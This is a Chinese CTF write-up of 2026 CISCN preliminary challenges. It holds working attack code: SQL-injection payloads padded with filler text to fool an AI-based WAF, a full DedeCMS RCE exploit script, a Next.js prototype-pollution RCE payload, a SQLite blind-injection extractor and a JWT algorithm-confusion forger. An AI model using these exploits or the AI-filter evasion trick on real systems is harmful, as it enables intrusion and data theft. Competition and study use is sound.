Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5Mobile wallpaper 6
3229 字
16 分钟
2026ciscn初赛wp
2025-12-29

image-20251229191542526

第一次参加国赛,输得一塌糊涂,还有机会,会赢的

AI_WAF#

sql注入,本题通过ai来进行waf,可以在#后添加没有用的信息流来干扰ai检测,从而绕过

通过简单的联合注入爆出

数据库名:

-1'union select 1,2,group_concat(schema_name) FROM information_schema.schemata#NexaData 了解更多关于NexaData(如:使命与愿景、技术优势) 让数据创造真实价值 我们通过智能分析平台,将复杂数据转化为可执行的商业洞察,赋能企业高效决策。 搜索结果 正在搜索文章... 关于 NexaData NexaData 成立于 2018 年,总部位于上海,是一家专注于大数据智能分析与AI 决策引擎的国家级高新技术企业。 我们已为金融、零售、制造、医疗等行业的 500+ 客户提供服务,帮助客户平均提升 35% 的运营效率 和 22% 的营收增长。 公司拥有自主研发的实时计算平台、智能预警系统和可视化 BI 工具,支持 PB 级数据处理能力,日均处理数据超 100 亿条。 500+ 企业客户 100B+ 日处理数据 99.9% 系统可用性 我们的核心优势 AI 智能分析 集成机器学习模型,自动识别数据模式与异常,提供预测性洞察。 云原生架构 弹性扩展、高可用设计,无缝对接公有云与私有化部署环境。 企业级安全 端到端加密、细粒度权限控制,符合 GDPR 与等保三级要求。 实时可视化 拖拽式仪表盘,秒级响应,让业务人员也能轻松探索数据。 © 2025 NexaData Technologies. 保留所有权利。

nexadata

表名:

-1'union select 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='nexadata'#NexaData 了解更多关于NexaData(如:使命与愿景、技术优势) 让数据创造真实价值 我们通过智能分析平台,将复杂数据转化为可执行的商业洞察,赋能企业高效决策。 搜索结果 正在搜索文章... 关于 NexaData NexaData 成立于 2018 年,总部位于上海,是一家专注于大数据智能分析与AI 决策引擎的国家级高新技术企业。 我们已为金融、零售、制造、医疗等行业的 500+ 客户提供服务,帮助客户平均提升 35% 的运营效率 和 22% 的营收增长。 公司拥有自主研发的实时计算平台、智能预警系统和可视化 BI 工具,支持 PB 级数据处理能力,日均处理数据超 100 亿条。 500+ 企业客户 100B+ 日处理数据 99.9% 系统可用性 我们的核心优势 AI 智能分析 集成机器学习模型,自动识别数据模式与异常,提供预测性洞察。 云原生架构 弹性扩展、高可用设计,无缝对接公有云与私有化部署环境。 企业级安全 端到端加密、细粒度权限控制,符合 GDPR 与等保三级要求。 实时可视化 拖拽式仪表盘,秒级响应,让业务人员也能轻松探索数据。 © 2025 NexaData Technologies. 保留所有权利。

where_is_my_flagggggg

字段名:

-1'union select 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='where_is_my_flagggggg'#NexaData 了解更多关于NexaData(如:使命与愿景、技术优势) 让数据创造真实价值 我们通过智能分析平台,将复杂数据转化为可执行的商业洞察,赋能企业高效决策。 搜索结果 正在搜索文章... 关于 NexaData NexaData 成立于 2018 年,总部位于上海,是一家专注于大数据智能分析与AI 决策引擎的国家级高新技术企业。 我们已为金融、零售、制造、医疗等行业的 500+ 客户提供服务,帮助客户平均提升 35% 的运营效率 和 22% 的营收增长。 公司拥有自主研发的实时计算平台、智能预警系统和可视化 BI 工具,支持 PB 级数据处理能力,日均处理数据超 100 亿条。 500+ 企业客户 100B+ 日处理数据 99.9% 系统可用性 我们的核心优势 AI 智能分析 集成机器学习模型,自动识别数据模式与异常,提供预测性洞察。 云原生架构 弹性扩展、高可用设计,无缝对接公有云与私有化部署环境。 企业级安全 端到端加密、细粒度权限控制,符合 GDPR 与等保三级要求。 实时可视化 拖拽式仪表盘,秒级响应,让业务人员也能轻松探索数据。 © 2025 NexaData Technologies. 保留所有权利。

Th15_ls_f149

payload:

-1'union select 1,2,Th15_ls_f149 FROM where_is_my_flagggggg#NexaData 了解更多关于NexaData(如:使命与愿景、技术优势) 让数据创造真实价值 我们通过智能分析平台,将复杂数据转化为可执行的商业洞察,赋能企业高效决策。 搜索结果 正在搜索文章... 关于 NexaData NexaData 成立于 2018 年,总部位于上海,是一家专注于大数据智能分析与AI 决策引擎的国家级高新技术企业。 我们已为金融、零售、制造、医疗等行业的 500+ 客户提供服务,帮助客户平均提升 35% 的运营效率 和 22% 的营收增长。 公司拥有自主研发的实时计算平台、智能预警系统和可视化 BI 工具,支持 PB 级数据处理能力,日均处理数据超 100 亿条。 500+ 企业客户 100B+ 日处理数据 99.9% 系统可用性 我们的核心优势 AI 智能分析 集成机器学习模型,自动识别数据模式与异常,提供预测性洞察。 云原生架构 弹性扩展、高可用设计,无缝对接公有云与私有化部署环境。 企业级安全 端到端加密、细粒度权限控制,符合 GDPR 与等保三级要求。 实时可视化 拖拽式仪表盘,秒级响应,让业务人员也能轻松探索数据。 © 2025 NexaData Technologies. 保留所有权利。

dedecms#

参考博客DedeCMS命令执行复现&研究 | CVE-2025-6335 - 指南 - ljbguanli - 博客园

首先要管理员提权,注册账号后看到有三个账户admin,Aa123456789,我注册的账号

先是一个管理员的弱口令

image-20251228135456397

Aa123456789就是账号,密码

进入管理员后台,但是这个管理员权限不够

image-20251228135737537

在会员注册会员列表中将我们注册的账号提权为超级管理员,再登录我们的账号,接着使用漏洞CVE-2025-6335

真tm能藏啊

获取该账号的token

menuitems=1_1%2C2_1%2C5_1%2C3_1%2C4_1; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1761319965,1762777611; PHPSESSID=icu0bissit90tauagquq33dsj3; _csrf_name_d17f0175=4f066b84c44a94186c1fe3ac207075e9; _csrf_name_d17f01751BH21ANI1AGD297L1FF21LN02BGE1DNG=8ddd6464b18bad36; ENV_GOBACK_URL=%2Fdede%2Fmember_main.php; DedeUserID=3; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=f7f5c8a8208cfa2a; DedeLoginTime=1766899915; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=00c4e4615fdc378d

使用脚本cve-/dede_cms_RCE_CVE-2025-6335.py at main · Kai-One001/cve-

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
DedeCMS RCE 检测工具
支持:
- POST 型漏洞:tag_test_action.php
- GET 型漏洞:co_get_corule.php
"""
import sys
import argparse
import requests
import re
import urllib3
from urllib.parse import urljoin, urlparse, quote
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# 全局配置
DEFAULT_USER_AGENT = (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
)
class DedeCMS_RCE_Post:
def __init__(self, target, cookie_str, timeout=10, verify_ssl=False):
self.target = target.rstrip("/") + "/"
self.cookie_str = cookie_str
self.timeout = timeout
self.verify_ssl = verify_ssl
self.session = requests.Session()
self.session.verify = verify_ssl
self.session.headers.update({
'User-Agent': DEFAULT_USER_AGENT,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
})
self._parse_cookies()
self.token_url = urljoin(self.target, "dede/tag_test.php")
self.action_url = urljoin(self.target, "dede/tag_test_action.php")
self.token = None
def _parse_cookies(self):
cookies = {}
for item in self.cookie_str.split(";"):
item = item.strip()
if "=" in item:
key, value = item.split("=", 1)
cookies[key] = value
self.session.cookies.update(cookies)
def _fetch_token(self):
"""从页面提取 token"""
try:
res = self.session.get(self.token_url, timeout=self.timeout)
if res.status_code != 200:
print(f"[-] 无法访问 {self.token_url},状态码: {res.status_code}")
return False
match = re.search(r'name\s*=\s*["\']token["\']\s+[^>]*value\s*=\s*["\']([^"\']+)["\']', res.text, re.IGNORECASE)
if match:
self.token = match.group(1)
return True
else:
print(f"[-] 页面中未找到 token")
return False
except Exception as e:
print(f"[-] 获取 token 失败: {e}")
return False
def exploit(self, cmd="echo hello > C:\\\\Windows\\\\Temp\\\\poc.txt"):
"""执行命令"""
if not self._fetch_token():
return False
template = f"{{dede:global name='cfg_webname' function='system(\"{cmd}\")'/}}"
raw_partcode_value = f"dopost=make&partcode={template}"
encoded_partcode_value = quote(raw_partcode_value, safe='')
post_body = (
f"dopost=make&"
f"token={self.token}&"
f"partcode={encoded_partcode_value}&"
f"typeid=0&"
f"Submit=提交测试"
)
self.session.headers['Content-Type'] = 'application/x-www-form-urlencoded'
try:
print(f"[*] 正在利用 POST 接口: {self.action_url}")
print(f"[*] 执行命令: {cmd}")
res = self.session.post(
self.action_url,
data=post_body.encode('utf-8'),
timeout=self.timeout
)
if res.status_code == 200:
print(f"[+] POST 请求成功,响应长度: {len(res.content)}")
if any(keyword in res.text.lower() for keyword in ['hello', 'echo', cmd.split()[0]]):
print("[+] 响应中包含关键字,可能已执行命令")
return True
else:
print(f"[-] 请求失败,状态码: {res.status_code}")
except Exception as e:
print(f"[-] POST 请求异常: {e}")
return False
class DedeCMS_RCE_Get:
"""
检测 GET 型 RCE 漏洞:co_get_corule.php?notes={dede:...}&job=1
"""
def __init__(self, target, cookie_str, timeout=10, verify_ssl=False):
self.target = target.rstrip("/") + "/"
self.cookie_str = cookie_str
self.timeout = timeout
self.verify_ssl = verify_ssl
self.session = requests.Session()
self.session.verify = verify_ssl
self.session.headers.update({
'User-Agent': DEFAULT_USER_AGENT,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close'
})
self._parse_cookies()
self.exploit_url = urljoin(self.target, "dede/co_get_corule.php")
def _parse_cookies(self):
cookies = {}
for item in self.cookie_str.split(";"):
item = item.strip()
if "=" in item:
key, value = item.split("=", 1)
cookies[key] = value
self.session.cookies.update(cookies)
def exploit(self, cmd="calc"):
"""执行命令"""
payload = f"{{dede:ewoji\");system('{cmd}');///}}"
params = {
'notes': payload,
'job': '1'
}
try:
print(f"[*] 正在利用 GET 接口: {self.exploit_url}")
print(f"[*] 执行命令: {cmd}")
res = self.session.get(
self.exploit_url,
params=params,
timeout=self.timeout
)
if res.status_code == 200:
print(f"[+] GET 请求成功,响应长度: {len(res.content)}")
if "Fatal error" in res.text and "GetInnerText()" in res.text:
print("[+]目标存在漏洞(出现 PHP Fatal error),命令可能已执行")
return True
else:
print("[*] 响应内容不符合预期错误,但仍可能成功")
return True
else:
print(f"[-] 请求失败,状态码: {res.status_code}")
except Exception as e:
print(f"[-] GET 请求异常: {e}")
return False
def validate_url(url):
try:
result = urlparse(url)
return all([result.scheme in ['http', 'https'], result.netloc])
except:
return False
def main():
parser = argparse.ArgumentParser(description="DedeCMS RCE 双接口检测工具")
parser.add_argument("-u", "--url", required=True, help="目标URL,例如: http://example.com/")
parser.add_argument("-c", "--cookie", required=True, help='登录后的 Cookie,例如: "DedeUserID=1; DedeLoginTime=xxx"')
parser.add_argument("--type", choices=['post', 'get', 'all'], default='all',
help="选择检测类型: post | get | all (默认)")
args = parser.parse_args()
if not validate_url(args.url):
print("[-] 错误: 无效的URL格式,请使用 http:// 或 https:// 开头")
sys.exit(1)
if not args.cookie.strip():
print("[-] 错误: Cookie 不能为空")
sys.exit(1)
kwargs = {
'target': args.url,
'cookie_str': args.cookie.strip(),
'verify_ssl': False,
'timeout': 10
}
# 执行指定检测
if args.type in ['post', 'all']:
detector_post = DedeCMS_RCE_Post(**kwargs)
success = detector_post.exploit(cmd="cat /f* > 3.txt")
if success:
print("[+] tag_test_action.php接口漏洞利用成功\n")
else:
print("[-] tag_test_action.php接口漏洞利用失败\n")
if args.type in ['get', 'all']:
detector_get = DedeCMS_RCE_Get(**kwargs)
success = detector_get.exploit(cmd="cat /flag")
if success:
print("[+] co_get_corule.php漏洞利用成功\n")
else:
print("[-] co_get_corule.php漏洞利用失败\n")
print("[*] 检测完成")
if __name__ == "__main__":
main()

传入文件3.txt,然后直接读取

image-20251228135318959

redjs#

利用漏洞CVE-2025-55182

payload:

POST / HTTP/2
Host: eci-2ze5cyeam6tt9r9hl9ar.cloudeci1.ichunqiu.com:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: 610
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=encodeURIComponent(process.mainModule.require('child_process').execSync('cat /f*').toString().trim());;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary
Content-Disposition: form-data; name="2"
[]
------Boundary--

Deprecated#

[2025 长城杯 final 记录 | A day in AsaL1n](https://asal1n.github.io/2025/05/04/2025 CCB final/index.html#/)

此事在2025年ccb决赛亦有记载,好家伙ccb题目复用是吧,欺负小登是吧,我和你爆了

因为赛时没有写出来,所以赛后自己搓了个环境复现一下

image-20251229192814625

image-20251229193130586

漏洞深度解析:#

  • 正常情况 (RS256):服务器用 publicKey 验证签名。只有拥有 privateKey 的人(服务器自己)才能签发 Token。

  • 攻击情况 (HS256):攻击者将 alg 改为 HS256

    • jsonwebtoken 库看到 HS256,就会采用 HMAC 对称加密算法。

    • HMAC 算法需要一个**“密码 (Secret)”**。

    • 库会直接把传入的第二个参数(也就是 publicKey 文件里的那串字符)当作这个**“密码”**。

    • 结果:只要攻击者手里有公钥(由于公钥不是保密的,或者是你通过文件读取漏洞泄露的),他就可以用公钥当作密码,自己生成一个合法的签名!

同时发现在/feedback路径下发现一个注入点,采用sqlite盲注

脚本贴上

import requests
import sys
import time
import binascii
url = "http://localhost:4444/feedback"
headers = {
"User-Agent": "Mozilla/5.0",
"Connection": "close"
}
def check_payload(payload_sql):
# 构造 Payload
raw_payload = f"\\' ) , ( (SELECT 1 WHERE {payload_sql}) ) --"
data = {"Send": "Send", "message": raw_payload}
for attempt in range(5):
try:
r = requests.post(url, headers=headers, data=data, timeout=5)
return r.status_code
except Exception:
time.sleep(1)
return 0
print("[-] Starting extraction...")
final_password = ""
# 爆破前 20 位
for i in range(1, 21):
found = False
# 针对数字密码 0-9
possible_chars = "0123456789"
for char in possible_chars:
# '1' -> hex '31'
hex_str = binascii.hexlify(char.encode()).decode()
# 【关键修正】这里不要用 base 16,直接按十进制读
# 因为 SQLite CAST('31' AS INTEGER) 解析为十进制的 31
target_int = int(hex_str)
# SQL: CAST(hex(...) AS INTEGER) = 31
sql = f"CAST(hex(substr((SELECT password FROM users LIMIT 1),{i},1)) AS INTEGER) = {target_int}"
if check_payload(sql) == 200:
final_password += char
print(f"[+] Char {i}: {char} | Current: {final_password}")
found = True
break
if not found:
print("[-] Extraction finished.")
break
print(f"\n[SUCCESS] Final Password: {final_password}")

拿到密码,进入admin登录页面,但是jwt中存在错误名词,所以他其实只是一个叫做admin的普通用户,因为满足admin的名称,可以读取system.log里面有公钥可以构造jwt

Authentication Bypass in pyjwt | CVE-2017-11424 | Snyk

image-20251229194153160

利用公钥构造jwt,访问/checkfile?file=flag拿到flag

import hmac
import hashlib
import base64
import json
import urllib.request
import urllib.error
# === 1. 公钥 (与你本地/容器内保持一致) ===
PUBLIC_KEY_STR = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAydTyE7rE8M2ZyKq3QYFd
8203XcTzU5UIDD/1MK4O+gGvwjvofz18jm8q++CPuKBj4UZUCvdqXXgV6fm6duNr
ZG2xQLES6hlaye7vJTquHsNoO5o5KjiufTeKm3mFmCTiqb6fQC386dH56iB+jso5
n2a2xl4VL8+IFaoJVyWfht0EGdsQ6zpE2GrWqFRIeLz+CNU6+6Vx7SGA9H+VwWSS
1+BI+bk/PJSS+0DE4FMctCx8OrT+y/SSRf/bIFbzNHRaZvAsIOC0AHtPVlxngBVa
n3YiXGpNr9T9uvespX74nYSQDy9VqUQnCNa+y9ceoV88wO7vp/XFT1Nndk+dUfAe
IwIDAQAB
-----END PUBLIC KEY-----"""
KEY_BYTES = PUBLIC_KEY_STR.encode('utf-8')
# === 2. 生成 Token ===
header = {"alg": "HS256", "typ": "JWT"}
payload = {"username": "admin", "priviledge": "File-Priviledged-User"}
def b64url(data):
if isinstance(data, str): data = data.encode('utf-8')
return base64.urlsafe_b64encode(data).rstrip(b'=')
print("[-] 正在生成 Token...")
h_b64 = b64url(json.dumps(header, separators=(',', ':')))
p_b64 = b64url(json.dumps(payload, separators=(',', ':')))
signing_input = h_b64 + b'.' + p_b64
signature = hmac.new(KEY_BYTES, signing_input, hashlib.sha256).digest()
token = (signing_input + b'.' + b64url(signature)).decode('utf-8')
# === 3. 发送请求 (目标: flag.txt) ===
target_file = "flag.log" # 既然已经重命名并上传了,直接读它
url = f"http://localhost:4444/checkfile?file={target_file}"
req = urllib.request.Request(url)
req.add_header('Cookie', f'session={token}')
print(f"[-] 正在请求: {url}")
try:
with urllib.request.urlopen(req) as resp:
content = resp.read().decode('utf-8')
print("\n" + "=" * 40)
print("🎉 响应内容:")
print(content)
print("=" * 40)
if "flag{" in content:
print("🚀 完美!Flag 已获取!")
except urllib.error.HTTPError as e:
print(f"\n[!] 请求失败: {e.code} {e.reason}")
print(f" 服务器返回: {e.read().decode('utf-8')}")
2026ciscn初赛wp
https://btop251.vercel.app/posts/ctf/ciscn-部分wp/
作者
btop251
发布于
2025-12-29
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时